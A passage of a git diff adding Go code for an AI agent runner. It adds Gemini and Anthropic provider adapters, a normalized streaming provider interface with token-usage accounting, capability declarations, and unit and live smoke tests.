Messages: []provider.Message{ + {Role: provider.RoleUser, Parts: []provider.Part{{Kind: provider.PartText, Text: "go"}}}, + {Role: provider.RoleAssistant, Parts: []provider.Part{ + {Kind: provider.PartToolCall, CallID: "toolu_1", ToolName: "bash", + Args: json.RawMessage(`{"command":"ls"}`), + Extras: map[string]json.RawMessage{extrasThinkingKey: thinking}}, + }}, + {Role: provider.RoleTool, Parts: []provider.Part{ + {Kind: provider.PartToolResult, CallID: "toolu_1", Result: json.RawMessage(`{"stdout":"a"}`)}}}, + }, + } + params, err := toParams(req) + if err != nil { + t.Fatal(err) + } + raw, _ := json.Marshal(params) + js := string(raw) + if !strings.Contains(js, `"sig-xyz=="`) { + t.Errorf("thinking signature not replayed: %s", js) + } + // Thinking must precede the tool_use in the assistant message. + if ti, ui := strings.Index(js, `"thinking"`), strings.Index(js, `"tool_use"`); ti < 0 || ui < 0 || ti > ui { + t.Errorf("thinking block must precede tool_use: thinking@%d tool_use@%d", ti, ui) + } + // The tool result appears in a user-role message. + if !strings.Contains(js, `"tool_result"`) { + t.Errorf("tool result missing: %s", js) + } +} + +// emitAccumulated maps a completed message's tool_use (preceded by a thinking +// block) into a normalized ToolCall carrying the thinking signature in Extras. +func TestEmitAccumulatedToolCallCarriesThinking(t *testing.T) { + acc := sdk.Message{ + Content: []sdk.ContentBlockUnion{ + {Type: "thinking", Thinking: "reasoning", Signature: "abc=="}, + {Type: "tool_use", ID: "toolu_9", Name: "bash", Input: json.RawMessage(`{"command":"ls"}`)}, + }, + Usage: sdk.Usage{InputTokens: 12, OutputTokens: 5, CacheReadInputTokens: 4, CacheCreationInputTokens: 2}, + StopReason: sdk.StopReasonToolUse, + } + var got []provider.StreamEvent + emitAccumulated(acc, func(e provider.StreamEvent, err error) bool { + if err != nil { + t.Fatal(err) + } + got = append(got, e) + return true + }) + + var toolCall *provider.ToolCall + var usage *provider.Usage + for _, e := range got { + switch e.Kind { + case provider.EventToolCall: + toolCall = e.ToolCall + case provider.EventUsage: + usage = e.Usage + } + } + if toolCall == nil { + t.Fatal("no tool call emitted") + } + if toolCall.CallID != "toolu_9" || toolCall.Name != "bash" { + t.Errorf("tool call = %+v", toolCall) + } + extra, ok := toolCall.Extras[extrasThinkingKey] + if !ok || !strings.Contains(string(extra), "abc==") { + t.Errorf("thinking signature not attached: %v", toolCall.Extras) + } + // InputTokens is normalized to the TOTAL input including the cached + // prefix: 12 (uncached) + 4 (cache read) + 2 (cache creation) = 18. + if usage == nil || usage.InputTokens != 18 || usage.CacheReadTokens != 4 || usage.CacheWriteTokens != 2 { + t.Errorf("usage = %+v, want input 18 / cache_read 4 / cache_write 2", usage) + } + // Billed = input + output − cache_read = 18 + 5 − 4 = 19 (cache read + // discounted, cache creation charged). + if got := usage.Billed(); got != 19 { + t.Errorf("billed = %d, want 19", got) + } +} + +func TestToMessagesRejectsBadPart(t *testing.T) { + _, err := toMessages([]provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartToolResult}}}}) + if err == nil { + t.Fatal("expected error for tool_result in a user message") + } +} + +// Complete surfaces request-conversion errors through the stream. +func TestCompleteYieldsConversionError(t *testing.T) { + p := &Provider{} + req := provider.CompleteRequest{Messages: []provider.Message{{Role: "bogus", + Parts: []provider.Part{{Kind: provider.PartText, Text: "x"}}}}} + var gotErr error + for _, err := range p.Complete(context.Background(), req) { + if err != nil { + gotErr = err + break + } + } + if gotErr == nil { + t.Fatal("expected a conversion error before any network call") + } +} diff --git a/internal/provider/capabilities_matrix_test.go b/internal/provider/capabilities_matrix_test.go new file mode 100644 index 0000000..59bd71a --- /dev/null +++ b/internal/provider/capabilities_matrix_test.go @@ -0,0 +1,40 @@ +package provider_test + +import ( + "testing" + + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/anthropic" + "github.com/ralphite/agentrunner/internal/provider/gemini" +) + +// TestCapabilitiesMatrix pins each provider's declared optional features +// (S4.7). The abstraction's value is that the loop reads these flags rather +// than branching on provider identity — so every provider must answer the +// same three questions. A zero-value Provider is enough: Capabilities() +// reports static support, no client needed. +func TestCapabilitiesMatrix(t *testing.T) { + rows := []struct { + name string + caps provider.Capabilities + }{ + {"gemini", (&gemini.Provider{}).Capabilities()}, + {"anthropic", (&anthropic.Provider{}).Capabilities()}, + } + for _, r := range rows { + t.Run(r.name, func(t *testing.T) { + // Both current providers support all three; the test exists to + // force a conscious declaration when a third provider (or a + // downgraded model) reports false. + if !r.caps.Thinking { + t.Errorf("%s: Thinking not declared", r.name) + } + if !r.caps.PromptCaching { + t.Errorf("%s: PromptCaching not declared", r.name) + } + if !r.caps.ParallelTools { + t.Errorf("%s: ParallelTools not declared", r.name) + } + }) + } +} diff --git a/internal/provider/gemini/gemini.go b/internal/provider/gemini/gemini.go new file mode 100644 index 0000000..6b76326 --- /dev/null +++ b/internal/provider/gemini/gemini.go @@ -0,0 +1,311 @@ +// Package gemini adapts the normalized provider interface to the Gemini API +// via the official google.golang.org/genai SDK. +package gemini + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "iter" + "os" + + "google.golang.org/genai" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/provider" +) + +// extrasSignatureKey stores Gemini thought signatures in Part/ToolCall Extras. +// The bytes must round-trip untouched: dropping them 400s multi-turn tool use. +const extrasSignatureKey = "gemini.thought_signature" + +// Provider implements provider.Provider against the Gemini API. +type Provider struct { + client *genai.Client +} + +// New builds a Provider from GEMINI_API_KEY in the environment. +func New(ctx context.Context) (*Provider, error) { + key := os.Getenv("GEMINI_API_KEY") + if key == "" { + return nil, errors.New("GEMINI_API_KEY not set") + } + client, err := genai.NewClient(ctx, &genai.ClientConfig{ + APIKey: key, + Backend: genai.BackendGeminiAPI, + }) + if err != nil { + return nil, fmt.Errorf("gemini: %w", err) + } + return &Provider{client: client}, nil +} + +// Capabilities reports optional features (S4.7). Gemini supports thinking +// (thought tokens), context caching, and parallel function calls. +func (p *Provider) Capabilities() provider.Capabilities { + return provider.Capabilities{ + Thinking: true, + PromptCaching: true, + ParallelTools: true, + } +} + +// Complete streams one Gemini call, normalizing chunks to StreamEvents. +func (p *Provider) Complete(ctx context.Context, req provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + contents, err := toContents(req.Messages) + if err != nil { + yield(provider.StreamEvent{}, err) + return + } + config, err := toConfig(req) + if err != nil { + yield(provider.StreamEvent{}, err) + return + } + + st := newStreamState(req.Turn) + for resp, err := range p.client.Models.GenerateContentStream(ctx, req.Model, contents, config) { + if err != nil { + yield(provider.StreamEvent{}, classify(err)) + return + } + for _, ev := range st.mapResponse(resp) { + if !yield(ev, nil) { + return + } + } + } + yield(provider.StreamEvent{Kind: provider.EventFinish, Finish: st.finish()}, nil) + } +} + +// classify maps SDK errors onto the 2.8 taxonomy. Downstream retry and +// rendering consume only the class. +func classify(err error) error { + var ae genai.APIError + if errors.As(err, &ae) { + return errs.Wrap(errs.FromHTTPStatus(ae.Code), err, "gemini") + } + if class := errs.ClassOf(err); class == errs.Canceled || class == errs.Timeout { + return errs.Wrap(class, err, "gemini") + } + return errs.Wrap(errs.ProviderServer, err, "gemini") // transport-level: worth a retry +} + +// streamState tracks per-call accumulation across stream chunks. +type streamState struct { + turn int + callIndex int + sawToolCall bool + finishReason genai.FinishReason +} + +func newStreamState(turn int) *streamState { + return &streamState{turn: turn} +} + +// mapResponse converts one stream chunk into zero or more normalized events. +func (st *streamState) mapResponse(resp *genai.GenerateContentResponse) []provider.StreamEvent { + var events []provider.StreamEvent + if len(resp.Candidates) > 0 { + cand := resp.Candidates[0] + if cand.FinishReason != "" { + st.finishReason = cand.FinishReason + } + if cand.Content != nil { + for _, part := range cand.Content.Parts { + if ev, ok := st.mapPart(part); ok { + events = append(events, ev) + } + } + } + } + if resp.UsageMetadata != nil { + events = append(events, provider.StreamEvent{ + Kind: provider.EventUsage, + Usage: &provider.Usage{ + InputTokens: int(resp.UsageMetadata.PromptTokenCount), + // Thinking tokens bill as output (真实计费口径). + OutputTokens: int(resp.UsageMetadata.CandidatesTokenCount + resp.UsageMetadata.ThoughtsTokenCount), + CacheReadTokens: int(resp.UsageMetadata.CachedContentTokenCount), + }, + }) + } + return events +} + +func (st *streamState) mapPart(part *genai.Part) (provider.StreamEvent, bool) { + switch { + case part.FunctionCall != nil: + st.sawToolCall = true + args, err := json.Marshal(part.FunctionCall.Args) + if err != nil { + args = json.RawMessage(`{}`) + } + tc := &provider.ToolCall{ + CallID: provider.CallID(st.turn, st.callIndex), + Name: part.FunctionCall.Name, + Args: args, + } + if len(part.ThoughtSignature) > 0 { + sig, _ := json.Marshal(part.ThoughtSignature) // []byte → base64 JSON string + tc.Extras = map[string]json.RawMessage{extrasSignatureKey: sig} + } + st.callIndex++ + return provider.StreamEvent{Kind: provider.EventToolCall, ToolCall: tc}, true + case part.Text != "": + return provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: part.Text}, true + default: + return provider.StreamEvent{}, false + } +} + +func (st *streamState) finish() provider.FinishReason { + switch st.finishReason { + case genai.FinishReasonStop, "": + if st.sawToolCall { + return provider.FinishToolUse + } + return provider.FinishEndTurn + case genai.FinishReasonMaxTokens: + return provider.FinishMaxTokens + default: + return provider.FinishOther + } +} + +// toConfig builds the request config: system instruction, token cap, tools. +func toConfig(req provider.CompleteRequest) (*genai.GenerateContentConfig, error) { + config := &genai.GenerateContentConfig{ + MaxOutputTokens: int32(req.MaxTokens), + } + if req.Thinking.Enabled { + // Gemini supports thinking natively (no downgrade needed): a budget of + // 0 means "let the model decide"; a positive budget caps thought + // tokens. IncludeThoughts surfaces thought summaries in the stream. + tc := &genai.ThinkingConfig{IncludeThoughts: true} + if req.Thinking.BudgetTokens > 0 { + budget := int32(req.Thinking.BudgetTokens) + tc.ThinkingBudget = &budget + } + config.ThinkingConfig = tc + } + if req.System != "" { + config.SystemInstruction = &genai.Content{ + Parts: []*genai.Part{{Text: req.System}}, + } + } + if len(req.Tools) > 0 { + tool := &genai.Tool{} + for _, td := range req.Tools { + var schema any + if len(td.InputSchema) > 0 { + if err := json.Unmarshal(td.InputSchema, &schema); err != nil { + return nil, fmt.Errorf("gemini: tool %s schema: %w", td.Name, err) + } + } + tool.FunctionDeclarations = append(tool.FunctionDeclarations, &genai.FunctionDeclaration{ + Name: td.Name, + Description: td.Description, + ParametersJsonSchema: schema, + }) + } + config.Tools = []*genai.Tool{tool} + } + return config, nil +} + +// toContents converts normalized messages to Gemini contents. Tool results +// must appear in the same count and order as the functionCalls of the +// preceding model turn — the loop/assembly guarantees ordering; this function +// converts faithfully. +func toContents(msgs []provider.Message) ([]*genai.Content, error) { + var contents []*genai.Content + for _, msg := range msgs { + content, err := toContent(msg) + if err != nil { + return nil, err + } + contents = append(contents, content) + } + return contents, nil +} + +func toContent(msg provider.Message) (*genai.Content, error) { + if len(msg.Parts) == 0 { + return nil, fmt.Errorf("gemini: message with role %q has no parts", msg.Role) + } + content := &genai.Content{} + switch msg.Role { + case provider.RoleUser, provider.RoleTool: + content.Role = genai.RoleUser + case provider.RoleAssistant: + content.Role = genai.RoleModel + default: + return nil, fmt.Errorf("gemini: unsupported message role %q", msg.Role) + } + + for _, p := range msg.Parts { + part, err := toPart(p) + if err != nil { + return nil, err + } + content.Parts = append(content.Parts, part) + } + return content, nil +} + +func toPart(p provider.Part) (*genai.Part, error) { + switch p.Kind { + case provider.PartText: + return &genai.Part{Text: p.Text}, nil + + case provider.PartToolCall: + var args map[string]any + if len(p.Args) > 0 { + if err := json.Unmarshal(p.Args, &args); err != nil { + return nil, fmt.Errorf("gemini: tool call %s args: %w", p.CallID, err) + } + } + part := &genai.Part{FunctionCall: &genai.FunctionCall{Name: p.ToolName, Args: args}} + if sig, ok := p.Extras[extrasSignatureKey]; ok { + var raw []byte + if err := json.Unmarshal(sig, &raw); err != nil { + return nil, fmt.Errorf("gemini: tool call %s thought signature: %w", p.CallID, err) + } + part.ThoughtSignature = raw + } + return part, nil + + case provider.PartToolResult: + return &genai.Part{FunctionResponse: &genai.FunctionResponse{ + Name: p.ToolName, + Response: toResponseMap(p), + }}, nil + + default: + return nil, fmt.Errorf("gemini: unsupported part kind %q", p.Kind) + } +} + +// toResponseMap renders a tool result into Gemini's response map. Object +// results pass through; non-object results wrap as {"output": …}; errors +// wrap as {"error": …} — Gemini has no is_error flag, this is our error +// payload convention (决策 #9). +func toResponseMap(p provider.Part) map[string]any { + var value any + if len(p.Result) > 0 { + if err := json.Unmarshal(p.Result, &value); err != nil { + value = string(p.Result) + } + } + if p.IsError { + return map[string]any{"error": value} + } + if obj, ok := value.(map[string]any); ok { + return obj + } + return map[string]any{"output": value} +} diff --git a/internal/provider/gemini/gemini_live_test.go b/internal/provider/gemini/gemini_live_test.go new file mode 100644 index 0000000..0afb672 --- /dev/null +++ b/internal/provider/gemini/gemini_live_test.go @@ -0,0 +1,67 @@ +//go:build live + +package gemini + +import ( + "bufio" + "context" + "os" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" +) + +// loadDotEnv populates missing env vars from the repo-root .env (local +// convenience per PLAN §0; never overrides existing values). +func loadDotEnv(t *testing.T) { + f, err := os.Open("../../../.env") + if err != nil { + return + } + defer f.Close() + sc := bufio.NewScanner(f) + for sc.Scan() { + line := strings.TrimSpace(sc.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + k, v, ok := strings.Cut(line, "=") + if ok && os.Getenv(k) == "" { + t.Setenv(k, v) + } + } +} + +func TestLiveSmoke(t *testing.T) { + loadDotEnv(t) + if os.Getenv("GEMINI_API_KEY") == "" { + t.Skip("GEMINI_API_KEY not set; live smoke deferred to stage-exit checkpoint") + } + + ctx := context.Background() + p, err := New(ctx) + if err != nil { + t.Fatal(err) + } + + turn, err := provider.CollectTurn(p.Complete(ctx, provider.CompleteRequest{ + Model: "gemini-flash-latest", + MaxTokens: 200, + System: "You are terse.", + Messages: []provider.Message{{ + Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "Say the single word: pong"}}, + }}, + Turn: 1, + })) + if err != nil { + t.Fatal(err) + } + if len(turn.Message.Parts) == 0 || !strings.Contains(strings.ToLower(turn.Message.Parts[0].Text), "pong") { + t.Errorf("unexpected reply: %+v", turn.Message) + } + if turn.Usage.OutputTokens == 0 { + t.Errorf("usage not populated: %+v", turn.Usage) + } +} diff --git a/internal/provider/gemini/gemini_test.go b/internal/provider/gemini/gemini_test.go new file mode 100644 index 0000000..eee3b93 --- /dev/null +++ b/internal/provider/gemini/gemini_test.go @@ -0,0 +1,218 @@ +package gemini + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "testing" + + "google.golang.org/genai" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/provider" +) + +func TestToContentsRolesAndSignature(t *testing.T) { + sig, _ := json.Marshal([]byte{0xde, 0xad}) + msgs := []provider.Message{ + {Role: provider.RoleUser, Parts: []provider.Part{{Kind: provider.PartText, Text: "fix it"}}}, + {Role: provider.RoleAssistant, Parts: []provider.Part{ + {Kind: provider.PartText, Text: "reading"}, + {Kind: provider.PartToolCall, CallID: "call_1_0", ToolName: "read_file", + Args: json.RawMessage(`{"path":"a.go"}`), + Extras: map[string]json.RawMessage{extrasSignatureKey: sig}}, + }}, + {Role: provider.RoleTool, Parts: []provider.Part{ + {Kind: provider.PartToolResult, CallID: "call_1_0", ToolName: "read_file", + Result: json.RawMessage(`{"content":"package a"}`)}, + }}, + } + + contents, err := toContents(msgs) + if err != nil { + t.Fatal(err) + } + if len(contents) != 3 { + t.Fatalf("contents = %d, want 3", len(contents)) + } + if contents[0].Role != genai.RoleUser || contents[1].Role != genai.RoleModel || contents[2].Role != genai.RoleUser { + t.Errorf("roles = %s/%s/%s", contents[0].Role, contents[1].Role, contents[2].Role) + } + + fc := contents[1].Parts[1] + if fc.FunctionCall == nil || fc.FunctionCall.Name != "read_file" { + t.Fatalf("function call part = %+v", fc) + } + if string(fc.ThoughtSignature) != "\xde\xad" { + t.Errorf("thought signature not restored: %v", fc.ThoughtSignature) + } + + fr := contents[2].Parts[0] + if fr.FunctionResponse == nil || fr.FunctionResponse.Response["content"] != "package a" { + t.Errorf("function response = %+v", fr) + } +} + +func TestToResponseMapConventions(t *testing.T) { + cases := []struct { + name string + part provider.Part + key string + }{ + {"object passthrough", provider.Part{Result: json.RawMessage(`{"a":1}`)}, "a"}, + {"scalar wraps as output", provider.Part{Result: json.RawMessage(`"hi"`)}, "output"}, + {"error wraps as error", provider.Part{Result: json.RawMessage(`"boom"`), IsError: true}, "error"}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + m := toResponseMap(tc.part) + if _, ok := m[tc.key]; !ok { + t.Errorf("response map = %v, want key %q", m, tc.key) + } + }) + } +} + +func TestToConfigTools(t *testing.T) { + req := provider.CompleteRequest{ + System: "be brief", + MaxTokens: 100, + Tools: []provider.ToolDef{{ + Name: "read_file", + Description: "read a file", + InputSchema: json.RawMessage(`{"type":"object","properties":{"path":{"type":"string"}}}`), + }}, + } + config, err := toConfig(req) + if err != nil { + t.Fatal(err) + } + if config.SystemInstruction == nil || config.SystemInstruction.Parts[0].Text != "be brief" { + t.Errorf("system instruction = %+v", config.SystemInstruction) + } + if config.MaxOutputTokens != 100 { + t.Errorf("max tokens = %d", config.MaxOutputTokens) + } + decls := config.Tools[0].FunctionDeclarations + if len(decls) != 1 || decls[0].Name != "read_file" || decls[0].ParametersJsonSchema == nil { + t.Errorf("declarations = %+v", decls) + } +} + +func TestStreamStateMapping(t *testing.T) { + st := newStreamState(2) + resp := &genai.GenerateContentResponse{ + Candidates: []*genai.Candidate{{ + FinishReason: genai.FinishReasonStop, + Content: &genai.Content{Parts: []*genai.Part{ + {Text: "on it"}, + {FunctionCall: &genai.FunctionCall{Name: "bash", Args: map[string]any{"command": "ls"}}}, + {FunctionCall: &genai.FunctionCall{Name: "read_file", Args: map[string]any{"path": "x"}}}, + }}, + }}, + UsageMetadata: &genai.GenerateContentResponseUsageMetadata{ + PromptTokenCount: 5, CandidatesTokenCount: 7, CachedContentTokenCount: 3, + }, + } + + events := st.mapResponse(resp) + if len(events) != 4 { + t.Fatalf("events = %d, want 4 (text + 2 calls + usage)", len(events)) + } + if events[1].ToolCall.CallID != "call_2_0" || events[2].ToolCall.CallID != "call_2_1" { + t.Errorf("call ids = %q, %q", events[1].ToolCall.CallID, events[2].ToolCall.CallID) + } + if events[3].Usage.CacheReadTokens != 3 { + t.Errorf("usage = %+v", events[3].Usage) + } + if got := st.finish(); got != provider.FinishToolUse { + t.Errorf("finish = %q, want tool_use", got) + } +} + +func TestFinishMapping(t *testing.T) { + cases := []struct { + reason genai.FinishReason + sawCall bool + want provider.FinishReason + }{ + {genai.FinishReasonStop, false, provider.FinishEndTurn}, + {genai.FinishReasonStop, true, provider.FinishToolUse}, + {genai.FinishReasonMaxTokens, false, provider.FinishMaxTokens}, + {genai.FinishReasonSafety, false, provider.FinishOther}, + } + for _, tc := range cases { + st := &streamState{sawToolCall: tc.sawCall, finishReason: tc.reason} + if got := st.finish(); got != tc.want { + t.Errorf("finish(%s, saw=%v) = %q, want %q", tc.reason, tc.sawCall, got, tc.want) + } + } +} + +func TestToContentErrors(t *testing.T) { + cases := []struct { + name string + msg provider.Message + }{ + {"no parts", provider.Message{Role: provider.RoleUser}}, + {"unknown role", provider.Message{Role: "narrator", + Parts: []provider.Part{{Kind: provider.PartText, Text: "x"}}}}, + {"unknown part kind", provider.Message{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: "hologram"}}}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if _, err := toContent(tc.msg); err == nil { + t.Errorf("expected error for %s", tc.name) + } + }) + } +} + +// Conversion failures must surface through the Complete iterator (the +// client is never touched when conversion fails, so a nil client is safe). +func TestCompleteYieldsConversionError(t *testing.T) { + p := &Provider{client: nil} + _, err := provider.CollectTurn(p.Complete(context.Background(), provider.CompleteRequest{ + Model: "m", + Messages: []provider.Message{{Role: "narrator"}}, + })) + if err == nil { + t.Fatal("expected conversion error from stream") + } +} + +// Empty tool results pin the {"output": nil} convention. +func TestToResponseMapEmptyResult(t *testing.T) { + m := toResponseMap(provider.Part{}) + if _, ok := m["output"]; !ok { + t.Errorf("empty result map = %v, want output key", m) + } +} + +// 2.8: SDK errors map onto the taxonomy — retry (2.10) and rendering (3.9) +// consume only the class. +func TestClassifyTable(t *testing.T) { + cases := []struct { + name string + err error + want errs.Class + }{ + {"429", genai.APIError{Code: 429}, errs.ProviderRateLimit}, + {"503", genai.APIError{Code: 503}, errs.ProviderServer}, + {"401", genai.APIError{Code: 401}, errs.ProviderAuth}, + {"400", genai.APIError{Code: 400}, errs.ProviderInvalid}, + {"wrapped api error", fmt.Errorf("stream: %w", genai.APIError{Code: 429}), errs.ProviderRateLimit}, + {"context canceled", context.Canceled, errs.Canceled}, + {"deadline", context.DeadlineExceeded, errs.Timeout}, + {"transport", errors.New("connection reset"), errs.ProviderServer}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := errs.ClassOf(classify(tc.err)); got != tc.want { + t.Errorf("classify → %s, want %s", got, tc.want) + } + }) + } +} diff --git a/internal/provider/provider.go b/internal/provider/provider.go new file mode 100644 index 0000000..8c39bb5 --- /dev/null +++ b/internal/provider/provider.go @@ -0,0 +1,239 @@ +// Package provider defines the normalized LLM provider interface. +// +// The shapes here are the FINAL ones (S1 执行包 / PLAN 1.2): streaming-native, +// opaque per-provider extras on parts (thought signatures land there in S4), +// and a Capabilities stub — so the interface survives unchanged into S2/S4. +package provider + +import ( + "context" + "encoding/json" + "fmt" + "iter" +) + +// Role is a normalized message role. +type Role string + +const ( + RoleSystem Role = "system" + RoleUser Role = "user" + RoleAssistant Role = "assistant" + RoleTool Role = "tool" +) + +// PartKind discriminates Part variants. +type PartKind string + +const ( + PartText PartKind = "text" + PartToolCall PartKind = "tool_call" + PartToolResult PartKind = "tool_result" +) + +// Part is one content part of a message. CallID pairs tool_call parts with +// their tool_result parts; providers map it to their native pairing scheme +// (Gemini: positional; Anthropic: id-based). Extras carries opaque +// provider-specific payloads (e.g. thought signatures) that must round-trip +// through the event log byte-identically. +type Part struct { + Kind PartKind `json:"kind"` + Text string `json:"text,omitempty"` + CallID string `json:"call_id,omitempty"` + ToolName string `json:"tool_name,omitempty"` + Args json.RawMessage `json:"args,omitempty"` + Result json.RawMessage `json:"result,omitempty"` + IsError bool `json:"is_error,omitempty"` + Extras map[string]json.RawMessage `json:"extras,omitempty"` +} + +// Message is a normalized conversation message. +type Message struct { + Role Role `json:"role"` + Parts []Part `json:"parts"` +} + +// ToolDef is the wire-level tool definition a provider advertises to the +// model. The richer data-driven tool registry (1.5) converts into this. +type ToolDef struct { + Name string `json:"name"` + Description string `json:"description"` + InputSchema json.RawMessage `json:"input_schema"` +} + +// CompleteRequest is a normalized, provider-agnostic completion request. +// Turn is the 1-based turn number of this call within the run; adapters use +// it to mint deterministic call ids via CallID. +type CompleteRequest struct { + Model string + MaxTokens int + System string + Messages []Message + Tools []ToolDef + Turn int + // Thinking requests extended thinking (S4.7); providers map or downgrade. + Thinking ThinkingConfig +} + +// ToolCall is one tool invocation requested by the model. +type ToolCall struct { + CallID string `json:"call_id"` + Name string `json:"name"` + Args json.RawMessage `json:"args"` + Extras map[string]json.RawMessage `json:"extras,omitempty"` +} + +// Usage is normalized token accounting. Cache fields stay zero until S4. +type Usage struct { + InputTokens int `json:"input_tokens"` + OutputTokens int `json:"output_tokens"` + CacheReadTokens int `json:"cache_read_tokens,omitempty"` + CacheWriteTokens int `json:"cache_write_tokens,omitempty"` +} + +// Billed is the budget-accounting caliber (S4.4c): input + output minus the +// cache-read portion, which was served from a warm prefix and does not cost +// the full input rate. This is the single source of truth for what the +// budget gate charges; raw Input/Output remain for display and telemetry. +// Clamped at zero — a provider reporting more cache reads than input (never +// expected) must not credit the budget. +func (u Usage) Billed() int { + billed := u.InputTokens + u.OutputTokens - u.CacheReadTokens + if billed < 0 { + return 0 + } + return billed +} + +// FinishReason is the normalized termination shape of one LLM call. +// The abnormal variants (blocked, malformed_tool_call, …) get loop policy +// in S4; the type exists from day one so events never change shape. +type FinishReason string + +const ( + FinishEndTurn FinishReason = "end_turn" + FinishToolUse FinishReason = "tool_use" + FinishMaxTokens FinishReason = "max_tokens" + FinishOther FinishReason = "other" + // FinishMalformedToolCall: the provider emitted a tool call it could not + // parse (S4.6). The loop records it and retries the turn. + FinishMalformedToolCall FinishReason = "malformed_tool_call" + // FinishBlocked: the model stopped for a safety/policy reason. The loop + // surfaces it as a user-visible error and ends the run (S4.6). + FinishBlocked FinishReason = "blocked" +) + +// StreamEventKind discriminates StreamEvent variants. +type StreamEventKind string + +const ( + EventTextDelta StreamEventKind = "text_delta" + EventToolCall StreamEventKind = "tool_call" + EventUsage StreamEventKind = "usage" + EventFinish StreamEventKind = "finish" +) + +// StreamEvent is one element of a completion stream (S1 执行包 event set). +type StreamEvent struct { + Kind StreamEventKind + TextDelta string + ToolCall *ToolCall + Usage *Usage + Finish FinishReason +} + +// Capabilities declares optional provider abilities (S4.7). The loop reads +// these to decide whether to send a thinking config, place cache +// breakpoints, or rely on parallel tool calls — and to DOWNGRADE explicitly +// (never silently) when a spec asks for a feature a provider lacks. +type Capabilities struct { + Thinking bool // extended thinking / reasoning tokens + PromptCaching bool // explicit prompt-cache breakpoints + ParallelTools bool // multiple tool calls in one assistant turn +} + +// ThinkingConfig is the normalized extended-thinking request (S4.7). Enabled +// with a token budget; providers map it (Anthropic thinking config, Gemini +// thinking budget) or downgrade when unsupported. +type ThinkingConfig struct { + Enabled bool + BudgetTokens int +} + +// Provider is the thin, streaming-native LLM interface (决策 15). +type Provider interface { + // Complete streams one model call. The iterator yields events until the + // stream ends; a non-nil error terminates the stream. + Complete(ctx context.Context, req CompleteRequest) iter.Seq2[StreamEvent, error] + // Capabilities reports what optional features this provider supports. + Capabilities() Capabilities +} + +// CallID builds the harness-generated deterministic call id +// (call__, S1 执行包) used for tool call/result pairing. +func CallID(turn, index int) string { + return fmt.Sprintf("call_%d_%d", turn, index) +} + +// Turn is the assembled result of one completed LLM call. +type Turn struct { + Message Message // assistant message: text part (if any) + tool_call parts + ToolCalls []ToolCall + Usage Usage + Finish FinishReason +} + +// CollectTurn drains a stream into a Turn. It exists for turn-granularity +// callers (the S1 loop); streaming callers consume the iterator directly. +func CollectTurn(stream iter.Seq2[StreamEvent, error]) (Turn, error) { + return CollectTurnStreaming(stream, nil) +} + +// CollectTurnStreaming drains a stream into a Turn, invoking onDelta for +// each text delta as it arrives (S4.1). onDelta may be nil. Deltas are +// ephemeral — only the assembled Turn.Message is durable (TurnDiscarded +// contract): if the call errors mid-stream, whatever was emitted to +// onDelta is discarded by the caller. +func CollectTurnStreaming(stream iter.Seq2[StreamEvent, error], onDelta func(string)) (Turn, error) { + var ( + turn Turn + text string + ) + for ev, err := range stream { + if err != nil { + return Turn{}, err + } + switch ev.Kind { + case EventTextDelta: + text += ev.TextDelta + if onDelta != nil && ev.TextDelta != "" { + onDelta(ev.TextDelta) + } + case EventToolCall: + if ev.ToolCall != nil { + turn.ToolCalls = append(turn.ToolCalls, *ev.ToolCall) + } + case EventUsage: + if ev.Usage != nil { + turn.Usage = *ev.Usage + } + case EventFinish: + turn.Finish = ev.Finish + } + } + + turn.Message.Role = RoleAssistant + if text != "" { + turn.Message.Parts = append(turn.Message.Parts, Part{Kind: PartText, Text: text}) + } + for _, tc := range turn.ToolCalls { + turn.Message.Parts = append(turn.Message.Parts, Part{ + Kind: PartToolCall, + CallID: tc.CallID, + ToolName: tc.Name, + Args: tc.Args, + Extras: tc.Extras, + }) + } + return turn, nil +} diff --git a/internal/provider/provider_test.go b/internal/provider/provider_test.go new file mode 100644 index 0000000..b2fde34 --- /dev/null +++ b/internal/provider/provider_test.go @@ -0,0 +1,112 @@ +package provider + +import ( + "encoding/json" + "errors" + "iter" + "reflect" + "testing" +) + +func streamOf(events []StreamEvent, err error) iter.Seq2[StreamEvent, error] { + return func(yield func(StreamEvent, error) bool) { + for _, ev := range events { + if !yield(ev, nil) { + return + } + } + if err != nil { + yield(StreamEvent{}, err) + } + } +} + +func TestCollectTurnAssembles(t *testing.T) { + extras := map[string]json.RawMessage{"thought_sig": json.RawMessage(`"abc"`)} + events := []StreamEvent{ + {Kind: EventTextDelta, TextDelta: "I'll read "}, + {Kind: EventTextDelta, TextDelta: "the file."}, + {Kind: EventToolCall, ToolCall: &ToolCall{ + CallID: CallID(1, 0), Name: "read_file", + Args: json.RawMessage(`{"path":"a.go"}`), Extras: extras, + }}, + {Kind: EventToolCall, ToolCall: &ToolCall{ + CallID: CallID(1, 1), Name: "bash", + Args: json.RawMessage(`{"command":"go test"}`), + }}, + {Kind: EventUsage, Usage: &Usage{InputTokens: 10, OutputTokens: 20}}, + {Kind: EventFinish, Finish: FinishToolUse}, + } + + turn, err := CollectTurn(streamOf(events, nil)) + if err != nil { + t.Fatal(err) + } + if turn.Finish != FinishToolUse { + t.Errorf("finish = %q", turn.Finish) + } + if turn.Usage.InputTokens != 10 || turn.Usage.OutputTokens != 20 { + t.Errorf("usage = %+v", turn.Usage) + } + if len(turn.ToolCalls) != 2 { + t.Fatalf("tool calls = %d, want 2", len(turn.ToolCalls)) + } + if turn.ToolCalls[0].CallID != "call_1_0" || turn.ToolCalls[1].CallID != "call_1_1" { + t.Errorf("call ids = %q, %q", turn.ToolCalls[0].CallID, turn.ToolCalls[1].CallID) + } + + if turn.Message.Role != RoleAssistant { + 